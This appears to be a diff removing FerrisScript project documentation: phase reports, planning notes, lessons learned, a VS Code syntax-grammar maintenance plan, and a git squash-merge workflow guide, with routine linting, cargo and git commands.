-   - Don't automate labels until usage patterns established
-   - Manual labeling for 1-2 months reveals what's actually useful
-   - **Recommendation:** Create labels now, automate in v0.0.3+ after usage data
-
-3. **Wiki for Rapidly-Changing Content Only**
-   - Core docs need version control (stay in `docs/`)
-   - Wiki good for community tutorials, meeting notes
-   - **Recommendation:** Enable Wiki in v0.0.3, populate with community content
-
-4. **Milestones Track Releases, Not Time**
-   - Version-based milestones (v0.0.2, v0.1.0) work better than date-based
-   - Ongoing milestones (Community, Bug Triage) for non-version work
-   - **Recommendation:** Create milestones at start of each release cycle

-let tokens = tokenize("let x = 5;").unwrap();
-// Returns: [Let, Ident("x"), Equals, Integer(5), Semicolon]
-```
-
-**Parsing** (parser.rs):
-
-```rust
-let program = parse(&tokens, source).unwrap();
-```
-
-**Type Checking** (type_checker.rs):
-
-```rust

-- ✅ All unit tests passing: 182 tests
-- ✅ All doctests passing: 12 doctests
-- ✅ All integration tests passing
-
-### Code Quality
-
-- ✅ Clippy: 0 warnings (`-D warnings`)

-- ✅ Rustdoc: 0 warnings
-
-### Documentation Quality
-
-- ✅ Markdown linting: 0 issues
-- ✅ Link checking: All links valid
-- ✅ Coverage: 100% of public APIs documented
-
-## Challenges & Solutions
-
-### Challenge 1: Doctest Code Examples
-
-**Problem**: Initial examples used pseudo-code or incorrect Rust syntax, causing doctest failures.
-
-**Solution**:
-
-- Use ````no_run` for examples that require external setup
-- Ensure examples use actual public API (not `Runtime` type that doesn't exist)
-- Verify examples compile even if they don't run
-
-**Learning**: Always test documentation examples - they're real code!
-
-### Challenge 2: Type Coercion Example
-
-**Problem**: Showed Rust code example of i32→f32 coercion, but Rust doesn't support implicit coercion.
-
-**Solution**: Changed to describe FerrisScript behavior in prose rather than misleading Rust code example.
-
-**Learning**: Be careful distinguishing between implementing language behavior vs. showing usage of that language.
-
-### Challenge 3: Empty Code Blocks
-
-**Problem**: Commented-out code in code fence caused "empty code block" warning.
-
-**Solution**: Convert to prose description rather than commented code.
-
-**Learning**: Use prose for conceptual explanations, code for concrete examples.
-
-## Learnings
-
-### Documentation Best Practices
-
-1. **Start with crate-level docs** - Gives users the big picture first
-2. **Include performance metrics** - Developers care about benchmarks
-3. **Show real usage examples** - Not just isolated functions
-4. **Test all examples** - Doctests catch broken examples
-5. **Link between types** - Use `[`Type`]` syntax for cross-references
-
-### Rustdoc Features Utilized
-
-- Crate-level docs (`//!`)
-- Module-level docs (`//!`)
-- Intra-doc links (`[`Type`]`)
-- Code examples with ````rust` and````no_run`
-- Sections with `# Header`
-- Performance notes
-- Error documentation
-
-### What Worked Well
-
-- Systematic approach: one file at a time
-- Adding performance metrics from existing benchmarks
-- Showing complete usage flows (compile → execute → call)
-- Documenting all enum variants individually
-
-### What Could Be Improved
-
-- Could add more doctests that actually run
-- Could add "Common Pitfalls" sections
-- Could document more edge cases
-- Could add diagrams for complex flows (AST structure, type coercion)
-
-## Next Steps
-
-### Immediate (Phase 4C)
-
-- Create comprehensive testing documentation (TESTING.md)
-- Add type coercion verification tests (≥5 new tests)
-- Document/implement return type inference
-- Branch: `feature/v0.0.2-phase4c-testing-types`
-- Estimated: 5-7 hours
-
-### Godot Integration (Phase 4D)
-
-- Enhance godot_test/README.md
-- Create GODOT_INTEGRATION.md (≥200 lines)
-- Document common gotchas and examples
-- Branch: `feature/v0.0.2-phase4d-godot-docs`
-- Estimated: 3-4 hours
-
-### Documentation Cleanup (Phase 4E)
-
-- Remove duplicate DEVELOPMENT.md from docs/
-- Update root DEVELOPMENT.md
-- Verify no broken links
-- Branch: `feature/v0.0.2-phase4e-doc-cleanup`
-- Estimated: 1 hour

-
----
-
-## Key Learnings
-
-### 1. Proper Branching Workflow
-
-**Lesson**: Creating feature branch **before** starting work eliminates cherry-pick complexity.
-
-**Before**: Phase 3 required merging feature branch to main to resolve conflicts.
-
-**After (Phase 4)**: Started with `git checkout -b feature/docs-phase4` from main.
-
-**Result**: Clean history, no merge conflicts, no cherry-pick needed.
-
-**Recommendation**: Always create feature branch at the start of any phase.
-
-### 2. Context7 for Standards-Based Docs
-
-**Lesson**: MCP tools excel at retrieving official documentation and templates.
-
-**Use Case**: SECURITY.md required GitHub's official structure.
-
-**Result**: Context7 returned 30 relevant snippets in <5 seconds, including official templates.
-
-**Recommendation**: Use Context7 for:
-
-- Security policies (SECURITY.md)
-- Accessibility guidelines (WCAG, ARIA)
-- API design (REST, GraphQL)
-- CI/CD workflows (GitHub Actions, GitLab CI)
-
-**Avoid Context7 for**:
-
-- Project-specific documentation (use grep/semantic search)
-- Tutorial-style explanations (write from scratch)
-- Novel/creative content (no reference examples needed)
-
-### 3. Detailed Example READMEs Reduce Support
-
-**Observation**: Example READMEs (hello, move, bounce) collectively address **14 common gotchas**.
-
-**Predicted Impact**:
-
-- Reduces "Node doesn't move" issues (covered in move tutorial)
-- Reduces "Variable not changing" issues (covered in bounce tutorial)
-- Reduces "Nothing prints" issues (covered in hello tutorial)
-
-**Recommendation**: Every example should have:
-
-1. Line-by-line explanation
-2. Common gotchas (4-5 issues)
-3. Variations to try (4-6 examples)
-4. Links to related docs
-
-### 4. CI Linting Catches Issues Early
-
-**Lesson**: Automated linting prevents bad docs from reaching main.
-
-**Coverage**:
-
-- Markdown formatting (markdownlint)
-- Broken links (markdown-link-check)
-- Runs only on doc changes (efficient)
-
-**Future Improvement**: Add spell checking (e.g., `cSpell` action)
-
-**Recommendation**: All projects should have docs linting CI.
-
-### 5. ARCHITECTURE.md as Living Document
-
-**Lesson**: 917-line ARCHITECTURE.md is comprehensive now, but requires maintenance.
-
-**Future Risks**:
-
-- Code evolves, doc lags behind
-- New features not documented
-- Design decisions forgotten
-
-**Mitigation**:
-
-- Add ARCHITECTURE.md to PR template checklist ("Update ARCHITECTURE.md if needed")
-- Link to ARCHITECTURE.md from CONTRIBUTING.md
-- Periodic audits (every minor version)
-
-**Recommendation**: Treat ARCHITECTURE.md as a living document, not a one-time artifact.
-
----
-
-## Recommendations for Phase 5
-
-Phase 5 is "Review & Merge" phase. Based on Phase 4 experience:
-
-### Pre-Merge Checklist
-
-1. ✅ **CI Passes**: Wait for docs-lint workflow to complete
-2. ✅ **GitHub Standards**: Verify 100% at /community URL
-3. ✅ **Cross-References**: Manually check a few links (CI checks all)
-4. ✅ **Examples Compile**: Run `cargo test --package ferrisscript_compiler test_compile_hello`
-5. ✅ **CHANGELOG**: Verify Phase 4 entries are clear
-6. ✅ **Branch History**: Verify no merge commits (should be clean)
-
-### Merge Strategy
-
-**Recommended**: Squash and merge (to keep main history clean)
-
-**Alternative**: Merge commit (to preserve Phase 4 branch history)
-
-**Reasoning**:
-
-- Phase 4 has 1 logical unit of work (security + architecture + examples)
-- Squash commit: "docs: Phase 4 - add SECURITY.md, CI linting, ARCHITECTURE.md, and enhanced examples"
-- Alternative: Keep all individual commits visible
-
-**Decision**: User preference (ask in PR review)
-
-### Post-Merge Actions
-
-1. **Delete feature branch**: `git branch -d feature/docs-phase4`
-2. **Verify GitHub Community Standards**: Check /community URL
-3. **Test CI**: Create a small doc change to verify linting works
-4. **Update v0.0.2 checklist**: Mark Phase 4 as complete
-
-### Known Issues Fixed Post-Commit
-
-1. **Duplicate ARCHITECTURE.md**: Removed from root (kept only in `/docs/ARCHITECTURE.md` per organization guidelines)
-2. **Example Running Instructions**: Clarified that `cargo run --example hello` doesn't work (`.ferris` files are not Rust examples). Updated to use `cargo test --package ferrisscript_compiler test_compile_hello` instead.

-
-## Post-PR Fixes and Enhancements
-
-### CI Link Check Results
-
-After PR #3 was created, the cloud agent ran markdown-link-check and identified **1 broken link**:
-
-- **File**: `examples/hello/README.md`
-- **Broken Link**: `../../docs/LANGUAGE_REFERENCE.md`
-- **Reason**: File doesn't exist yet (planned for future release)
-- **Fix**: Replaced with link to `../../docs/ARCHITECTURE.md` (which includes language details)
-
-### Local Development Tools Added
-
-To enable local documentation linting (requested by user), the following tools were added:
-
-#### 1. package.json (npm scripts)
-
-**Location**: `/package.json`
-
-```json
-{
-  "scripts": {
-    "docs:lint": "markdownlint '**/*.md' --ignore node_modules --ignore target",
-    "docs:links": "find . -name '*.md' -not -path './node_modules/*' -not -path './target/*' -exec markdown-link-check '{}' --config .markdown-link-check.json -q ';'",
-    "docs:check": "npm run docs:lint && npm run docs:links",
-    "docs:fix": "markdownlint '**/*.md' --ignore node_modules --ignore target --fix"
-  }
-}
-```
-
-**Usage**:
-

-#### 2. Documentation Linting CI
-
-- **Purpose:** Automated quality checks for documentation
-- **Location:** `.github/workflows/docs-lint.yml`
-- **Time Estimate:** 1-1.5 hours
-- **Priority:** HIGH (prevents broken links, enforces consistency)
-
-**Workflow Content:**
-
-```yaml
-name: Documentation Linting
-
-on:
-  pull_request:
-    paths:
-      - '**.md'
-      - 'docs/**'

-  "timeout": "20s",
-  "retryOn429": true,
-  "retryCount": 3
-}
-```
-
----
-
-#### 3. ARCHITECTURE.md (Technical Design Documentation)
-
-- **Purpose:** Explain system design for contributors
-- **Location:** `/docs/ARCHITECTURE.md`
-- **Time Estimate:** 2-3 hours
-- **Priority:** MEDIUM-HIGH (critical for contributors)
-
-**Content Outline:**
-
-1. **System Overview**
-   - High-level architecture diagram (text-based or mermaid)
-   - Compiler pipeline: Lexer → Parser → Type Checker → Codegen
-   - Runtime architecture
-   - GDExtension bridge
-
-2. **Crate Structure**
-   - `rustyscript_compiler`: Lexer, Parser, AST, Type Checker
-   - `rustyscript_runtime`: Variable storage, function execution
-   - `rustyscript_godot_bind`: GDExtension FFI layer
-
-3. **Compiler Pipeline Detail**
-   - Lexer: Tokenization strategy (regex-based)
-   - Parser: Recursive descent, error recovery
-   - Type Checker: Type inference rules, coercion
-   - (Future) Codegen: Bytecode vs native
-
-4. **Runtime Execution**
-   - Variable scoping
-   - Function calls
-   - Godot interop (calling Godot API from FerrisScript)
-
-5. **Extension Points**
-   - Adding new types
-   - Adding new operators
-   - Adding new Godot bindings
-
-6. **Design Decisions**
-   - Why tree-walk interpreter (not bytecode yet)
-   - Why GDExtension (not custom GDScript VM integration)
-   - Why Rust (safety, performance, Godot 4 compatibility)
-
----
-
-#### 4. Expand examples/ with Detailed READMEs
-
-- **Purpose:** Teach language features through practical examples
-- **Location:** `examples/` directory
-- **Time Estimate:** 1.5-2 hours
-- **Priority:** MEDIUM (helps new users and contributors)
-
-**Current Examples:**
-
-- `hello.ferris` - Basic print statement
-- `move.ferris` - Simple node movement
-- `bounce.ferris` - Bounce physics
-
-**Enhancements:**
-
-Each example gets a companion README explaining:
-
-- What the example demonstrates
-- Line-by-line explanation
-- Common gotchas
-- How to run in Godot
-- Variations to try
-
-**Example: `examples/move/README.md`**
-
-```markdown
-# move.ferris - Node Movement Example
-
-## What This Demonstrates
-
-- Variable declaration (`let mut velocity: f32`)
-- Godot node property access (`self.position.x`)
-- Arithmetic operations
-- `_process(delta)` callback
-
-## Code Explanation
-
-```ferris
-fn _ready() {
-    // Runs once when node enters scene
-    print("Movement script ready!");
-}
-
-fn _process(delta: f32) {
-    // Runs every frame
-    // delta = time since last frame (typically 0.016 for 60 FPS)
-    
-    self.position.x += 50.0 * delta;
-    // Moves node 50 pixels/second to the right
-    // Without delta, speed would vary based on framerate!
-}
-```
-
-## Running This Example
-
-### Option 1: Cargo (No Godot)
-
-```bash
-cargo run --example move
-# Prints compilation output and runtime trace
-```
-
-### Option 2: In Godot
-
-1. Create a Node2D in Godot scene
-2. Attach FerrisScript custom script
-3. Set script content to `move.ferris`
-4. Run scene - node moves right continuously
-
-## Common Gotchas
-
-- **Forgot `* delta`:** Node moves at framerate speed (fast on powerful PCs, slow on weak ones)
-- **Forgot `mut`:** Compile error if trying to modify velocity later
-- **Wrong type for `delta`:** Must be `f32` (Godot's float type)
-
-## Variations to Try
-
-- Move on the Y axis: `self.position.y += 50.0 * delta;`
-- Move diagonally: Modify both x and y
-- Add velocity variable: Make speed configurable
-- Add boundary checking: Stop at screen edge
-
-```
-
----
-
-### Secondary Deliverables (Optional)
-
-#### 5. DESIGN_DECISIONS.md
-- **Purpose:** Document "why" decisions for contributors
-- **Location:** `/docs/DESIGN_DECISIONS.md`
-- **Time Estimate:** 2 hours
-- **Priority:** LOW (nice-to-have, can defer to v0.1.0)
-
-**Content:**
-- Why tree-walk interpreter (simplicity, v0.1.0 bytecode plan)
-- Why `.ferris` extension (not `.rs` or `.fscr`)
-- Why no borrow checker (game scripting simplicity)
-- Why mutable-by-default (GDScript familiarity)
-- Why GDExtension (Godot 4 native, performance)
-
----
-
-#### 6. AUTHORS.md / CONTRIBUTORS.md
-- **Purpose:** Credit contributors

-
-### Label Creation (from v0.0.2-CHECKLIST.md)
-
-When creating issues/PRs for Phase 4 tasks, use these labels:
-- `documentation` (type)
-- `P1-High` or `P2-Medium` (priority)
-- `good-first-issue` (for example READMEs - easy for newcomers)
-- `advanced` (for ARCHITECTURE.md - requires deep knowledge)
-- `docs` (component)
-
-### Milestone Assignment
-
-Add all Phase 4 tasks to `v0.0.2` milestone (should be created from Phase 3 GitHub management checklist).
-
----
-
-## Documentation Organization (From Phase 3 Feedback)
-
-**User Feedback:** "Troubleshooting doc looks decent, while this is in the right place do we possibly need to bucket the phase documents to not sit in the root of /docs to avoid them cluttering?"
-
-**Solution Implemented:** See `docs/DOCUMENTATION_ORGANIZATION.md` (updated)
-
-**Phase 4 File Locations:**
-
-**Permanent Docs (stay in root or /docs):**
-- `/SECURITY.md` - Root (GitHub expects here)
-- `/docs/ARCHITECTURE.md` - User/contributor-facing
-- `/docs/DESIGN_DECISIONS.md` - User/contributor-facing (if created)
-- `/AUTHORS.md` - Root (GitHub convention, if created)
-- `examples/*/README.md` - Next to examples (logical location)
-
-**Development Artifacts (move to /docs/meta after completion):**
-- Phase 4 completion report → `docs/meta/phase-reports/`
-- Any planning docs → `docs/meta/planning/`
-
----
-
-## Next Steps After Phase 4 Completion
-
-1. **Create Phase 4 Completion Report**
-   - Document time tracking (actual vs estimated)
-   - List all deliverables with metrics
-   - Capture learnings and insights
-   - Provide recommendations for Phase 5
-
-2. **Update CHANGELOG.md**
-   - Add Phase 4 deliverables to [Unreleased] section
-   - Follow Keep a Changelog format
-
-3. **Move to Phase 5: Review & Merge**
-   - Cross-reference validation
-   - GitHub community standards check (should be 100% now)
-   - Link checking across all docs
-   - Final merge of all feature branches
-
-4. **Reorganize /docs (if not done yet)**
-   - Implement `docs/meta/` structure from DOCUMENTATION_ORGANIZATION.md
-   - Move phase reports and planning docs to appropriate subdirectories
-
----
-
-## Questions & Clarifications
-
-### From User Feedback

-**Result:** Ready for admin to configure, complete documentation available
-
-### Challenge 3: Documentation Linting Issues
-
-**Issue:** New documentation triggered markdownlint warnings
-**Solution:** Ran `npm run docs:fix` to auto-fix most issues
-**Result:** Clean documentation with only intentional deviations
-
----
-
-## Lessons Learned
-
-1. **GitHub API > CLI**: For certain operations (milestones), direct API calls are more reliable than CLI commands
-
-2. **Automation Value**: Creating label automation scripts (Bash + PowerShell) makes the setup reproducible and cross-platform
-
-3. **Documentation First**: Creating `PHASE_5A_GITHUB_SETUP_PLAN.md` before execution provided clear roadmap and time estimates
-
-4. **Idempotent Scripts**: Making label creation idempotent (won't fail if labels exist) allows safe re-runs
-
-5. **Comprehensive Documentation**: Detailed docs (GITHUB_LABELS.md, BRANCH_PROTECTION.md) reduce future maintenance burden
-

-### Decisions Made
-
-#### Decision 1: Use TextMate Grammar
-
-- Standard for VS Code syntax highlighting
-- Well-documented, declarative format
-- Easy to maintain and update
-
-#### Decision 2: Start with Core Features Only
-
-- Keywords, types, operators, comments, strings
-- Defer advanced features (semantic highlighting) to LSP phase
-- Focus on immediate value
-
-#### Decision 3: Create Grammar Update Strategy
-
-- Document grammar audit process in CONTRIBUTING.md
-- Add checklist item: "Update syntax highlighting grammar" when adding language features
-- Create `docs/SYNTAX_HIGHLIGHTING_MAINTENANCE.md` guide
-
-#### Trade-off 1: TextMate vs Semantic Highlighting
-
-- Chose TextMate for simplicity and immediate availability
-- Semantic highlighting requires LSP (deferred to v0.0.5)
-- TextMate provides 80% of value for 20% of effort
-
-#### Trade-off 2: Minimal Extension vs Full Features
-
-- Starting with syntax highlighting only (no completion, hover, etc.)
-- Full language server features deferred to v0.0.5
-- Allows faster delivery and user feedback
-
----
-

-## Grammar Update Strategy
-
-### When to Update Grammar
-
-**Trigger Events** (add grammar update as checklist item):
-
-1. **New keywords added** (e.g., `match`, `for`, `struct`)
-2. **New operators added** (e.g., `%`, `**`, `??`)
-3. **New literal types** (e.g., array literals `[1, 2, 3]`)
-4. **New syntax constructs** (e.g., attributes `@export`)
-
-### Audit Process
-
-**Quarterly Audit** (every 3 months):
-
-1. Review `lexer.rs` Token enum for new tokens
-2. Review `type_checker.rs` Type enum for new types
-3. Compare against `ferrisscript.tmLanguage.json`
-4. Update grammar file with missing features
-5. Test on all example scripts
-6. Document changes in extension CHANGELOG.md
-
-**On Language Feature PR**:
-
-1. PR author checks: "Does this add new syntax?"
-2. If yes: "Have you updated syntax highlighting grammar?"
-3. Required files to update:
-   - `extensions/vscode/syntaxes/ferrisscript.tmLanguage.json`
-   - `extensions/vscode/CHANGELOG.md`
-   - Test highlighting on relevant example

-## Language Features Covered
-
-### Complete Coverage
-
-The TextMate grammar provides complete syntax highlighting for all current FerrisScript language features:
-
-**Keywords** (9):
-
-- Control flow: `if`, `else`, `while`, `return`
-- Declarations: `fn`, `let`, `mut`
-- Literals: `true`, `false`
-- Special: `self`
-
-**Types** (7):
-
-- Primitives: `i32`, `f32`, `bool`
-- Complex: `String`, `Vector2`
-- Special: `Node`, `void`
-
-**Operators** (14+):
-
-- Arithmetic: `+`, `-`, `*`, `/`, `+=`, `-=`, `*=`, `/=`
-- Comparison: `==`, `!=`, `<`, `>`, `<=`, `>=`
-- Logical: `&&`, `||`, `!`
-- Assignment: `=`
-
-**Syntax Constructs**:
-
-- Comments: Line comments (`//`)
-- Strings: Double-quoted with escape sequences
-- Numbers: Integer and float literals
-- Functions: Definitions and calls
-- Godot lifecycle: `_ready`, `_process`, etc.
-
-**Source**: Cross-referenced with `crates/compiler/src/lexer.rs` and `crates/compiler/src/type_checker.rs` to ensure 100% coverage of current language features.
-
----
-
-## Grammar Architecture
-
-### Pattern Matching Strategy
-
-The grammar uses a **precedence-based pattern order**:
-
-1. **Comments** (highest priority - can appear anywhere)
-2. **Godot-specific functions** (before general function patterns)
-3. **Keywords** (before identifiers)
-4. **Types** (before identifiers)
-5. **Operators** (specific patterns)
-6. **Strings and numbers** (literals)
-7. **Function calls and definitions** (complex patterns)
-8. **Identifiers** (fallback pattern)
-9. **Punctuation** (lowest priority)
-
-**Rationale**: More specific patterns must come first to avoid being captured by generic patterns (e.g., `_ready` must be matched before general identifiers).
-
-### Scope Naming Conventions
-
-Follows [TextMate scope naming conventions](https://macromates.com/manual/en/language_grammars):
-
-- `keyword.control.*` - Control flow keywords
-- `keyword.declaration.*` - Declaration keywords
-- `entity.name.type.*` - Type names
-- `variable.language.*` - Language-specific variables (self)
-- `support.function.*` - Library/framework functions (Godot)
-- `string.quoted.double.*` - String literals
-- `constant.numeric.*` - Number literals
-- `comment.line.*` - Line comments
-- `entity.name.function.*` - Function names
-- `punctuation.separator.*` - Punctuation
-
-**Benefits**: VS Code themes automatically recognize these scopes and apply appropriate colors.
-

-
-## Maintenance Strategy
-
-### Per-PR Update Checklist
-
-When adding new language features, contributors must:
-
-1. **Update Grammar**:
-   - Edit `extensions/vscode/syntaxes/ferrisscript.tmLanguage.json`
-   - Add patterns for new keywords/operators/types
-   - Test on example `.ferris` files
-
-2. **Update Snippets** (if applicable):
-   - Edit `extensions/vscode/snippets/ferrisscript.json`
-   - Add snippets for new syntax constructs
-
-3. **Update Documentation**:
-   - Edit `extensions/vscode/CHANGELOG.md` (add to unreleased section)
-   - Edit `extensions/vscode/README.md` (update feature list)
-
-4. **Test Locally**:
-   - Copy extension to VS Code extensions folder
-   - Reload VS Code (`Ctrl+Shift+P` → "Developer: Reload Window")
-   - Verify highlighting on example files
-
-### Quarterly Audit Process
-
-Every 3 months, perform comprehensive grammar audit:
-
-1. **Language Feature Inventory**:
-   - Review `lexer.rs` for new tokens
-   - Review `type_checker.rs` for new types
-   - Compare with grammar patterns
-
-2. **Gap Analysis**:
-   - Identify missing patterns
-   - Check for outdated scope names
-   - Verify example coverage
-
-3. **Grammar Health Check**:
-   - Test on all `.ferris` examples
-   - Review common pitfalls (regex escaping, pattern order)
-   - Update maintenance guide with new learnings
-
-4. **Documentation Sync**:
-   - Update SYNTAX_HIGHLIGHTING_MAINTENANCE.md
-   - Add new examples to README
-   - Update roadmap if LSP timeline changes
-
-**Responsible**: Assigned to release manager for each quarterly release (v0.0.3, v0.0.6, v0.0.9, etc.)
-
-**Tracking**: Add "Quarterly Grammar Audit" task to each quarterly release checklist
-
----
-
-## Known Limitations
-
-### Current
-
-1. **No IntelliSense**: Extension provides only syntax highlighting, not autocomplete/hover/go-to-definition
-2. **No Error Highlighting**: Compilation errors not shown in Problems panel
-3. **No Semantic Highlighting**: All `i32` instances highlighted the same, regardless of context
-4. **Not Published**: Extension available only via local installation, not VS Code marketplace
-
-### Future Enhancements (Roadmap)
-
-**v0.0.3** (Documentation Polish):
-
-- Submit extension to VS Code marketplace
-- Add icon and gallery images
-- Improve README with more examples
-
-**v0.0.5** (LSP Foundation):
-
-- Implement Language Server Protocol (LSP)
-- Add IntelliSense (completion, hover, signature help)
-- Add error diagnostics (show compile errors in Problems panel)
-- Add go-to-definition and find references
-
-**v0.1.0** (Full Editor Integration):
-
-- Semantic highlighting (context-aware colors)
-- Refactoring support (rename symbol)
-- Code actions (quick fixes)
-- Debugging integration
-
----
-
-## Performance Characteristics
-
-### Extension Performance
-
-- **Activation Time**: < 50ms (fast startup)
-- **Grammar File Size**: 140 lines (~5KB)
-- **Snippet File Size**: 11 snippets (~2KB)
-- **Total Extension Size**: ~10KB (very lightweight)
-- **Regex Pattern Count**: ~20 patterns (efficient matching)
-
-**Impact**: Negligible performance impact on VS Code. Grammar matching is deterministic and fast.
-
----
-
-## Learnings & Discoveries
-
-### Technical Insights
-
-1. **Pattern Order Matters**: More specific patterns (like `_ready`) must come before generic patterns (like identifiers) to avoid being captured incorrectly.
-
-2. **Escape Sequences**: Regex patterns in JSON require double escaping (e.g., `\\b` for word boundaries).
-
-3. **Scope Naming**: Following TextMate conventions ensures compatibility with all VS Code themes.
-
-4. **Testing Strategy**: Manual testing on real examples is more effective than synthetic tests for grammar validation.
-
-5. **Documentation-Driven Development**: Creating maintenance guide early prevents future grammar drift.
-
-### Process Improvements
-
-1. **Cross-Reference Source Code**: Reviewing `lexer.rs` and `type_checker.rs` ensured 100% language feature coverage.
-
-2. **Incremental Testing**: Testing each pattern individually during development caught issues early.
-
-3. **Documentation Updates**: Updating all project docs in the same PR prevents "checklist drift" (per user's concern).
-
-4. **Quarterly Audits**: Establishing a regular review process prevents grammar from becoming stale.
-
-### User Feedback
-
-- **User Concern 1**: "Consider strategy for updating the grammar as we add new functionality"
-  - **Addressed**: Created 350+ line SYNTAX_HIGHLIGHTING_MAINTENANCE.md with quarterly audit process and per-PR checklist
-
-- **User Concern 2**: "Ensure we are updating documentation as part of the work to prevent checklist drift"
-  - **Addressed**: Updated all 5 affected documentation files in same PR (checklist, roadmap, planning/README, CONTRIBUTING, root README)
-
-- **User Concern 3**: "Already probably want to merge in the v0.0.2 roadmap in planning with the v0.0.2 checklist"
-  - **Status**: Deferred to separate task (both files updated, can assess merge need after v0.0.2 release)
-
----
-
-## Next Steps
-
-### Immediate (Phase 5C - Documentation Polish)
-
-1. **Create/Update Documentation**:
-   - Create `docs/TESTING.md` (comprehensive testing guide)
-   - Update README.md (add testing section, troubleshooting)
-   - Update CONTRIBUTING.md (add testing guidelines)
-
-2. **Enhance Examples**:
-   - Add comments to example files explaining each feature
-   - Create README.md for each example directory

-
-### Files Analyzed (1)
-
-1. **README.md**
-   - **Purpose**: Verify completeness per roadmap requirements
-   - **Findings**: All required sections already present
-     - ✅ "Why FerrisScript?" section (with emoji header)
-     - ✅ GDScript comparison table (detailed feature comparison)
-     - ✅ Performance notes (in comparison table, ~1 μs/function call)
-     - ✅ Troubleshooting quick links (in header: FAQ, Troubleshooting)
-     - ❌ Test coverage badge missing (but no CI integration to support it)
-   - **Conclusion**: Confirms checklist drift from earlier work
-   - **Action**: No changes needed, verified as complete
-
----
-
-## 🔍 Key Findings
-
-### Checklist Drift Confirmed
-
-**Issue**: Roadmap listed 5 items to add to README.md, but all were already present.
-
-**Root Cause**: Earlier phases completed these items without updating the roadmap/checklist.
-
-**Items Present**:
-
-1. "Why FerrisScript?" section - Already added in earlier work
-2. GDScript comparison table - Already comprehensive
-3. Performance notes - Already included in comparison
-4. Troubleshooting quick links - Already in header
-5. Test coverage badge - Not added (requires CI integration)
-
-**Impact**: No wasted effort, but highlights need for real-time tracking updates.
-
-**Lesson**: Always update tracking documents immediately when completing work.
-
-### No Documentation Duplicates
-
-**Expectation**: Roadmap mentioned "Remove duplicate DEVELOPMENT.md from docs/"
-
-**Reality**: Only one DEVELOPMENT.md exists (in `docs/` directory)
-
-**Conclusion**: Either already cleaned up earlier, or checklist item was speculative
-
-**Outcome**: No cleanup needed, verification only
-
-### Package.json Script Redundancy
-
-**Discovery**: `docs:check` script was identical to `docs:lint` (just aliased it)
-
-**Action**: Removed `docs:check` script to simplify workflow
-
-**Benefit**: Clearer intent, less confusion for contributors
-

-
-## 🎓 Learnings
-
-### Technical Insights
-
-1. **Version-Specific Documentation Strategy**
-   - Decision: Keep TESTING.md in `docs/v0.0.2/` until version finalized
-   - Rationale: Easier to track version-specific testing requirements
-   - Future: Move to `docs/` after v0.0.2 release
-
-2. **Link Path Conventions**
-   - Issue: Relative links from `docs/v0.0.2/` to `docs/` require `../` prefix
-   - Solution: Use `../COVERAGE_SETUP_NOTES.md` instead of `COVERAGE_SETUP_NOTES.md`
-   - Lesson: Always test links with markdown-link-check before committing
-
-3. **Comprehensive Testing Documentation Value**
-   - Impact: 500+ line TESTING.md covers all aspects (quick start → future plans)
-   - Benefit: Single source of truth for all testing knowledge
-   - Future: Reference guide for contributors, reduces onboarding time
-
-### Process Improvements
-
-1. **Real-Time Tracking Updates**
-   - Issue: Checklist drift occurred because tracking docs not updated immediately
-   - Solution: Update tracking docs as soon as work completes (not batch at end)
-   - Benefit: Prevents duplicate work, clearer progress visibility
-
-2. **Emphasis vs. Headers Preference**
-   - User Guidance: Prefer `### Header` over `**Bold Text**` for semantic meaning
-   - Tool Limitation: markdownlint doesn't auto-fix this (manual review needed)
-   - Implementation: Noted for future manual reviews
-
-3. **Link Validation Early and Often**
-   - Strategy: Run markdown-link-check on each file after creation
-   - Benefit: Catch broken links immediately, easier to fix in context
-   - Tool: `npx markdown-link-check <file>` (no installation needed)
-
-### Workflow Optimizations
-
-1. **Content Creation First, Validation Second**
-   - Pattern: Complete all content tasks (1-6) before validation tasks (7-9)
-   - Rationale: Minimize context switching, batch similar work
-   - Result: More efficient, clearer progress milestones
-
-2. **Comprehensive Guides Over Scattered Info**
-   - Decision: Create single comprehensive TESTING.md vs. multiple small docs
-   - Benefit: Easier to maintain, better user experience (one place to look)
-   - Trade-off: Longer document, but well-organized sections mitigate this
-

----
-
-## 📝 Notes
-
-### User Preferences Applied
-
-1. **Version-Specific Docs**: Created TESTING.md in `docs/v0.0.2/` per user guidance
-2. **Entire Repo Linting**: Ran linting on entire repo, not just modified files
-3. **Headers Over Emphasis**: Noted preference for `### Header` over `**Bold**`
-4. **All 4 Doc Tasks**: Completed README, TESTING.md, godot_test/README, cleanup
-
-### Outstanding Items
-
-1. **Test Coverage Badge**: Deferred until CI integration available
-2. **Godot UI Screenshots**: Deferred (not required for v0.0.2)
-3. **Emphasis vs. Headers**: Manual review needed (linter doesn't auto-fix)
-
-### Risks & Mitigations
-
-- **Risk**: Checklist drift continues if not addressed
-  - **Mitigation**: Update tracking docs immediately when completing work
-  
-- **Risk**: TESTING.md becomes outdated as testing evolves
-  - **Mitigation**: Include "Last Updated" date, version tracking in doc header
-  
-- **Risk**: Long documents (500+ lines) hard to navigate
-  - **Mitigation**: Comprehensive table of contents, clear section headers

-
-## PR Workflow Best Practices
-
-### Merge Strategy
-
-**Question from User:** Should I use merge or squash merge? Delete branch on close?
-
-**Recommendation:**
-
-1. **For feature branches (like `feature/docs-validation`):**
-   - ✅ **Squash and Merge** (recommended)
-   - **Why:** Keeps main branch history clean, one commit per feature
-   - **Result:** Single commit like "docs: Phase 1 validation - fix installation and create duplication matrix"
-
-2. **For hotfix branches (critical bugs):**
-   - ✅ **Merge commit** (alternative)
-   - **Why:** Preserves exact commit history for audit trail
-   - **Use case:** Production bugs, security fixes
-
-3. **Branch deletion:**
-   - ✅ **Always delete after merge**
-   - ✅ **Enable "Automatically delete head branches" in GitHub settings**
-   - **Why:** Prevents branch clutter, merged work is in main
-
-**GitHub Settings to Enable:**
-
-```
-Repository Settings → General → Pull Requests:
-☑ Automatically delete head branches
-☑ Allow squash merging (default)
-☐ Allow merge commits (optional, for hotfixes)
-☐ Allow rebase merging (not recommended for this project)
-```
-
-### Workflow Summary
-
-```bash
-# 1. Create feature branch
-git checkout -b feature/docs-contributing
-
-# 2. Make changes, commit
-git add .
-git commit -m "docs: create CONTRIBUTING.md with GitHub best practices"
-
-# 3. Push and create PR
-git push -u origin feature/docs-contributing
-# Create PR on GitHub
-
-# 4. After approval, squash and merge via GitHub UI
-# ✅ Branch automatically deleted
-
-# 5. Update local main
-git checkout main
-git pull origin main
-
-# 6. Start next feature
-git checkout -b feature/docs-conduct
-```

-# FerrisScript v0.0.2 Documentation Workflow
-
-**Created:** October 2, 2025  
-**Target Completion:** ~7-10 days  
